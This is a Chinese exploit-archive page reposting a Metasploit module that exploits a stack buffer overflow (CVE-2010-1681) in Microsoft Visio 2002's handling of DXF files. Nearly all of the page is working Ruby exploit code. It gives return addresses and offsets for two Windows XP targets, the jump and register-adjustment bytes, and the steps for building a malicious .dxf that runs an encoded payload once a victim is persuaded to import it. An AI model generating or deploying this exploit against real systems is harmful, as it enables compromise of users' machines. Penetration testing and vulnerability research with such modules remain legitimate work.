首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability
来源:http://www.metasploit.com 作者:CORESecurity 发布时间:2011-06-27  

##
# $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability',
   'Description'    => %q{
     This module exploits a stack based overflow vulnerability in the handling
    of the DXF files by Microsoft Visio 2002. Revisions prior to the release of
    the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application
    is used to import a specially crafted DXF file, while parsing the HEADER section
    of the DXF file.

    To trigger the vulnerability an attacker must convince someone to insert a
    specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'
    },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'CORE Security',  # original discovery
     'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis
     'juan vazquez', # metasploit module
    ],
   'Version'        => '$Revision: 13034 $',
   'References'     =>
    [
     [ 'CVE','2010-1681' ],
     [ 'OSVDB', '64446' ],
     [ 'BID', '39836' ],
     [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],
     [ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload' =>
    {
     'Space'         => 2000,
     'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
     'DisableNops'   => true, # no need
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX'
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Microsoft Office Visio 2002
     # VISIO.EXE v10.0.525.4
     # VISIODWG.DLL v10.0.525.4
     # ECXAdjust:
     # 0x8 => ESP points to the prepended shellcode
     # 0x1A => Padding
     # 0x2 => len(push esp, pop ecx)
     # 0x3 => len(sub)
     # 0x6 => len(add)
     [
      'Visio 2002 English on Windows XP SP3 Spanish',
      {
       'Ret'         => 0x6173345c, # push esp, ret from VISIODWG.DLL
       'Offset'      => 0x50,       # EIP
       'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment
       'ECXAdjust'   => 0x2D
      }
     ],
     [
      'Visio 2002 English on Windows XP SP3 English',
      {
       'Ret'         => 0x60455F6B, # push esp, ret from VISLIB.DLL
       'Offset'      => 0x50,       # EIP
       'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment
       'ECXAdjust'   => 0x2D,
      }
     ],
    ],
   'DisclosureDate' => 'May 04 2010'))

  register_options(
   [
    OptString.new('FILENAME',   [ true, 'The file name.',  'msf.dxf']),
   ], self.class)
 end

 def exploit
  content = "0\n"
  content << "SECTION\n"
  content << "2\n"
  content << "HEADER\n"
  content << "9\n"
  content << "$ACADMAINTVER"
  content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length)
  content << [target.ret].pack('V') # new ret
  content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops)
  content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions
  content << rand_text_alpha(0x1A) # jumped by the short jump
  # Get in ECX a pointer to the shellcode start
  content << "\x54" # push esp
  content << "\x59" # pop ecx
  # ecx adjustment
  content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true)
  # Stack adjustment
  content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
  content << payload.encoded
  content << "\n"
  content << "0\n"
  content << "ENDSEC\n"
  content << "0\n"
  content << "EOF\n"

  print_status("Creating #{datastore['FILENAME']} ...")
  file_create(content)
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Siemens FactoryLink 8 CSServic
·FreeAmp 2.0.7 .PLS File Buffer
·Lotus Notes 8.0.x - 8.5.2 FP2
·HTTrack Website Copier V3.44 D
·Free YouTube Download v2.10 DL
·Avira AntiVir Personal V10.00.
·Xilisoft Video-Converter v.5 (
·Linux/SuperH - sh4 - add root
·Smallftpd 1.0.3 FTP Server Den
·FreeAmp 2.0.7 .fat Buffer Over
·Citrix Provisioning Services 5
·RealWin SCADA Server DATAC Log
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved